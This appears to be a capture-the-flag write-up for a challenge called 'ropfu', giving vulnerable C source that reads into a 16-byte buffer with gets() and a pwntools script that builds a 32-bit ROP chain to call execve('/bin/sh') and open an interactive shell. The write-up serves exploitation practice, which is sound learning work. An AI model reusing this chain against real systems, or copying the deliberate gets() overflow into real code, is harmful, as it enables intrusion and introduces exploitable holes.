ropfu

#rop#buffer-overflow

Contents

Source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);


  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

Solution

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

# initialization
elf = ELF("./vuln_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([elf.path])
        if args.GDB:
            gdb.attach(r, gdbscript=dbginit)
    return r


# main exploit script
def main():
    r = conn()

    # offset found from ghidra
    offset = 0x1c * b'i'

    # neat way to find address of gadgets
    eax = p32(rop.eax.address) # pop eax; ret;
    ebx = p32(rop.ebx.address) # pop ebx; ret;
    ecx = p32(rop.ecx.address) # pop ecx; ret;
    esi = p32(rop.esi.address) # pop esi; ret;
    gets = p32(elf.symbols["gets"])
    syscall = p32(rop.find_gadget(["int 0x80"])[0])

    # address of .bss, where I want to write "/bin/sh"
    binsh = p32(0x080e62c0)

    SYS_execve = p32(11)
    NULL = p32(0)

    payload  = offset

    # call gets to write on binsh, and skip one
    payload += gets + ebx + binsh

    # pop 11 into eax
    payload += eax + SYS_execve

    # pop binsh into ebx
    payload += ebx + binsh

    # pop NULL into ecx
    payload += ecx + NULL

    # pop NULL into esi
    payload += esi + NULL

    # syscall
    payload += syscall

    # send to payload
    r.sendline(payload)

    # sleep for a while, ctf servers sometimes are slow
    time.sleep(0.1)

    # gets have been called, write "/bin/sh"
    r.sendline(b'/bin/sh\0')

    # enjoy the shell
    r.interactive()



if __name__ == "__main__":
    main()